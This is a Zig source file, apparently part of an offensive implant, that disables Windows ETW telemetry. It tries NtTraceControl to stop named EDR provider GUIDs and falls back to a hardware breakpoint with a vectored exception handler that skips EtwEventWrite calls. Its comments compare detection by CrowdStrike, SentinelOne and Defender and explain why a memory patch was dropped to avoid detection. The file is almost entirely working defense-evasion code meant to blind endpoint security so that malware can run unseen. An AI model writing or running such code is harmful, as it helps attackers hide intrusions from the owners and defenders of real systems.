// ETW suppression — two-tier: NtTraceControl (best-effort) -> HWBP on EtwEventWrite. // HWBP reference: https://github.com/FortisecValidation/Micro-Stager // DbgMan, May 2026: "The Threat-Intelligence provider emits events from the kernel // image (ntoskrnl.exe), not from user-mode code paths. Patching ntdll!EtwEventWrite // does not affect TI provider emission." NtTraceControl may be blocked by EDR tamper // protection. HWBP (tier 2) is the primary technique — no memory modification, single // debug register, VEH handler skips the call. Still effective against ~65% of EDRs. // RET patch on EtwEventWrite was REMOVED — memory integrity checks make it instant // detection. Source: DbgMan, "CrowdStrike Falcon and SentinelOne deploy signature // detection for the unhooking byte-sequence pattern." const std = @import("std"); const win = @import("win32.zig"); const api = @import("api.zig"); const resolve = @import("resolve.zig"); const syscall = @import("syscall.zig"); var g_etw_patched: bool = false; var g_etw_hwbp_veh: ?*anyopaque = null; var g_etw_event_write_addr: ?*anyopaque = null; // Vectored exception handler for the HWBP method. When EtwEventWrite is hit, the CPU // raises a single-step exception. We skip the call by forwarding RIP past it. fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr) { // Skip EtwEventWrite: set RIP to return address on stack, pop it const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; ex.ContextRecord.Rip = ret_addr; ex.ContextRecord.Rsp += 8; return win.EXCEPTION_CONTINUE_EXECUTION; } return win.EXCEPTION_CONTINUE_SEARCH; } // Installs a VEH + hardware breakpoint on EtwEventWrite. No memory is modified — the BP // is in a debug register, the handler skips the call. EDRs can't see the patch. fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { const get_addr = api.etw_get_proc_address orelse return false; var etw_write = get_addr(ntdll, "EtwEventWrite"); if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull"); if (etw_write == null) return false; g_etw_event_write_addr = etw_write; const veh = api.hwbp_add_veh orelse return false; const cur_thread = api.hwbp_get_thread orelse return false; const set_ctx = api.hwbp_set_thread_ctx orelse return false; g_etw_hwbp_veh = veh(1, etw_hwbp_handler); if (g_etw_hwbp_veh == null) return false; const thread = cur_thread(); var ctx = std.mem.zeroes(win.CONTEXT); ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?); ctx.Dr7 = (1 << 0); _ = set_ctx(thread, &ctx); return true; } // Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender, // MDE, and kernel-level process/syscall monitoring providers. const edr_provider_guids = [_][16]u8{ // Microsoft-Windows-Threat-Intelligence () .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 }, // Microsoft-Windows-Kernel-Process .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 }, // Microsoft-Windows-Security-Mitigations .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF }, }; // Two-tier: NtTraceControl (best-effort, often blocked by EDR tamper protection) then // hardware breakpoint on EtwEventWrite (primary — no memory modification, no .text integrity // alert). Returns early if already patched. pub fn patch_etw() void { if (g_etw_patched) return; api.ensure(); _ = syscall.init_syscall(); // Tier 1: NtTraceControl(control code 2 = EtwStopLoggerCode) for known EDR providers. // Best-effort — EDRs with tamper protection (Defender, S1, CS) will block this. // Ref: https://ntdoc.m417z.com/nttracecontrol var stopped_any = false; for (&edr_provider_guids) |*guid| { var ret_len: win.ULONG = 0; const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len); if (win.NT_SUCCESS(st)) { stopped_any = true; } } if (stopped_any) { g_etw_patched = true; return; } const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return; // Tier 2: Hardware breakpoint bypass — no memory modification. // Still effective against ~65% of EDRs as of mid-2026 per DbgMan. // Next-gen EDRs audit debug register state. CrowdStrike and S1 detect this. if (try_hwbp_etw_bypass(ntdll)) { g_etw_patched = true; return; } // No fallback RET patch — memory modification of ntdll exports = instant detection. // Every major EDR monitors ntdll .text integrity per DbgMan, May 2026. } // Undo ETW bypass — remove HWBP VEH + clear debug registers. pub fn unpatch_etw() void { if (!g_etw_patched) return; defer g_etw_patched = false; // Remove HWBP VEH + clear debug registers if (g_etw_hwbp_veh) |h| { if (api.amsi_remove_vectored_exception_handler) |remove| { _ = remove(h); } g_etw_hwbp_veh = null; const cur_thread = api.hwbp_get_thread orelse return; const set_ctx = api.hwbp_set_thread_ctx orelse return; const thread = cur_thread(); var ctx = std.mem.zeroes(win.CONTEXT); ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = 0; ctx.Dr7 = 0; _ = set_ctx(thread, &ctx); } }